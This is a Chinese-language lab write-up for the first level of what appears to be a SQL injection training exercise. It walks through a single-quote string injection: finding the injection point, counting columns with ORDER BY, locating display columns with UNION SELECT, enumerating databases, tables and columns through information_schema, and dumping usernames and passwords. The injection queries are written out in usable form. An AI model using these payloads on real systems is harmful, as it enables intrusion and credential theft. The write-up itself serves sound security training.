第一关:基于单引号的字符型注入
目录
先进行输入参数?id=1' 出现报错说明发现注入点,判断该类型为字符注入
order by
判断数据库--表--表里面的数据的列进行排序(从1开始)
union select 1,2,3 --
判断数据显示点
select system_user()
显示系统用户
select version()
显示版本信息
select @@datadir
数据库的安装路径
*查库: select schema_name from information_schema.schemata
*查表: select table_name from information_schema.tables where table_schema='security'
*查列: select column_name from information_schema.columns where table_name='users'
*查字段: select username,password from security.users
先进行输入参数?id=1' 出现报错说明发现注入点,判断该类型为字符注入
用order by 语法进行二分法测试,发现order by 3回显正确,表明有三列
然后进行联合查询,来判断1,2,3列会回显那一列(注意id的之应该赋予一个不存在的值,来执行后面的联合语句来正确回显)
结果可以知道
(此处的2,3是指在limit命令下显示第一行2,3列的数据)
因为知道password是在3处回显的,所以在3处进行回显语句查库
查库: 因为用limit 一个个筛查太慢,用group_concat()函数来查库的信息
查表:注意(不推荐在=后面使用‘’,会引入单引号问题,建议使用十六进制)
查列
查字段 用到了一个concat_ws('~,A,B')进行username 和 password的拼接